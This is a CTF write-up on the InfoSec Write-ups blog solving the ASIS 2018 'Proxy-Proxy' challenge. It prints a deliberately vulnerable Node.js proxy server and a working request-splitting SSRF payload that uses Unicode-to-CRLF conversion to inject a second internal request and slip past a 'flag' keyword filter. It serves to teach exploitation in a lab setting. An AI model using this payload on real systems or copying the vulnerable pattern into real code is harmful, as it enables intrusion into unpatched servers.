InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

NodeJS SSRF by Response Splitting — ASIS CTF Finals 2018 — Proxy-Proxy Question Walkthrough

Yasho
InfoSec Write-ups
Published in
3 min readNov 26, 2018

--

Hi everybody, this story is about the question named “Proxy-Proxy” given to participants in ASIS CTF Finals 2018. The question began with the page like that:

Following endpoints were available:

  1. /proxy/internal_website/public_notes
  2. /proxy/internal_website/public_links
  3. /flag

Obviously, the first two ones weren’t useful, the last had message: forbidden

Putting a random word and the end of the URL, revealed (/proxy/internal_website/blah):

Undefined endpoint, available endpoints are: ["public_notes","public_links","source_code"]

Source code discovered:

const express = require('express');
const fs = require('fs');
const path = require('path');
const body_parser = require('body-parser');
const md5 = require('md5');
const http = require('http');
var ip = require("ip");
require('x-date');
var server_ip = ip.address() const server = express();
server.use(body_parser.urlencoded({
extended: true
}));
server.use(express.static('public')) server.set('views', path.join(__dirname, 'views'));
server.set('view engine', 'jade');
server.listen(5000) server.get('/', function(request, result) {
result.render('index');
result.end()
})
function check_endpoint(available_endpoints, endpoint) {
for (i of available_endpoints) {
if (endpoint.indexOf(i) == 0) {
return true;
}
}
return false;
}
fs.readFile('flag.dat', 'utf8', function(err, contents) {
if (err) {
throw err;
}
flag = contents;
}) server.get('/proxy/internal_website/:page', function(request, result) {
var available_endpoints = ['public_notes', 'public_links', 'source_code']
var page = request.params.page result.setHeader('X-Node-js-Version', 'v8.12.0') result.setHeader('X-Express-Version', 'v4.16.3') if (page.toLowerCase().includes('flag')) {
result.sendStatus(403) result.end()
} else if (!check_endpoint(available_endpoints, page)) {
result.render('available_endpoints', {
endpoints: JSON.stringify(available_endpoints)
}) result.end()
} else {
http.get('http://127.0.0.1:5000/' + page, function(res) {
res.setEncoding('utf8');
if (res.statusCode == 200) {
res.on('data', function(chunk) {
result.render('proxy', {
contents: chunk
}) result.end()
});
} else if (res.statusCode == 404) {
result.render('proxy', {
contents: 'The resource not found.'
}) result.end()
} else {
result.end()
}
}).on('error', function(e) {
console.log("Got error: " + e.message);
});
}
}) server.use(function(request, result, next) {
ip = request.connection.remoteAddress
if (ip.substr(0, 7) == "::ffff:") {
ip = ip.substr(7)
}
if (ip != '127.0.0.1' && ip != server_ip) {
result.render('unauthorized') result.end()
} else {
next()
}
}) server.get('/public_notes', function(request, result) {
result.render('public_notes');
result.end()
}) server.get('/public_links', function(request, result) {
result.render('public_links');
result.end()
}) server.get('/source_code', function(request, result) {
fs.readFile('server.js', 'utf8', function(err, contents) {
if (err) {
throw err;
}
result.render('source_code', {
source: contents
}) result.end()
})
}) server.get('/flag/:token', function(request, result) {
var token = request.params.token
if (token.length > 10) {
console.log(ip) fs.writeFile('public/temp/' + md5(ip + token), flag, (err) => {
if (err) throw err;
result.end();
});
}
}) server.get('/', function(request, result) {
result.render('index');
result.end()
}) server.get('*', function(req, result) {
result.sendStatus(404);
result.end()
});

Analysis:

  1. The only path can be executed from the outside was /proxy/internal_website/:page
  2. Only 3 endpoints were callable through the proxy.
var available_endpoints = ['public_notes', 'public_links', 'source_code']

3. Based on the code, only the beginning of the variable was checked for the available endpoints.

if (endpoint.indexOf(i) == 0) {

4. The page variable cannot have the word flag and considering the code, it couldn’t be bypassed:

page.toLowerCase().includes('flag')

5. The endpoint /flag/:token saves the file containing the flag.

6. Based on the code, none of the endpoints were callable directly.

if (ip != '127.0.0.1' && ip != server_ip) {
result.render('unauthorized') result.end()
} else {
next()
}

I had to send an HTTP request to the endpoint/flag/:token by the proxy. However, it wasn’t in the available endpoints and the word flag was forbidden. It seemed impossible in a glance, the version of the NodeJS was vulnerable to the SSRF, though. The hint inside the code:

result.setHeader('X-Node-js-Version', 'v8.12.0') result.setHeader('X-Express-Version', 'v4.16.3')

The vulnerable code:

http.get('http://127.0.0.1:5000/' + page, function(res) {

The article about the flaw (Read it carefully, I omitted the description of the vulnerability):

https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/

Consequently, following payload led to send two separate HTTP requests, first to the /public_notes endpoint, and the second to the /flag/irgeeksssrf which resulted in saving the flag within the name md5(127.0.0.1irgeesssrf in the /temp/ folder:

public_notes\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0166}\u{016c}\u{0161}\u{0167}/irgeeksirgeeks

The final URL:

/proxy/internal_website/public_notes%C4%A0HTTP%2F1.1%C4%8D%C4%8AHost%3A%C4%A0127.0.0.1%C4%8D%C4%8A%C4%8D%C4%8AGET%C4%A0%2F%C5%A6%C5%AC%C5%A1%C5%A7%2Firgeeksirgeeks

Note: The endpoint was public_notes and as mentioned in the analysis, we could extend the endpoint since only the beginning of the endpoint was checked.

Note: the following Unicode translated to the flag and bypassed the condition .includes('flag'):

\u{0166}\u{016c}\u{0161}\u{0167}
666c6167 = flag

The flag was ASIS{d6a5bbd1b943353de7e49b544056ce84}.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

No responses yet

Write a response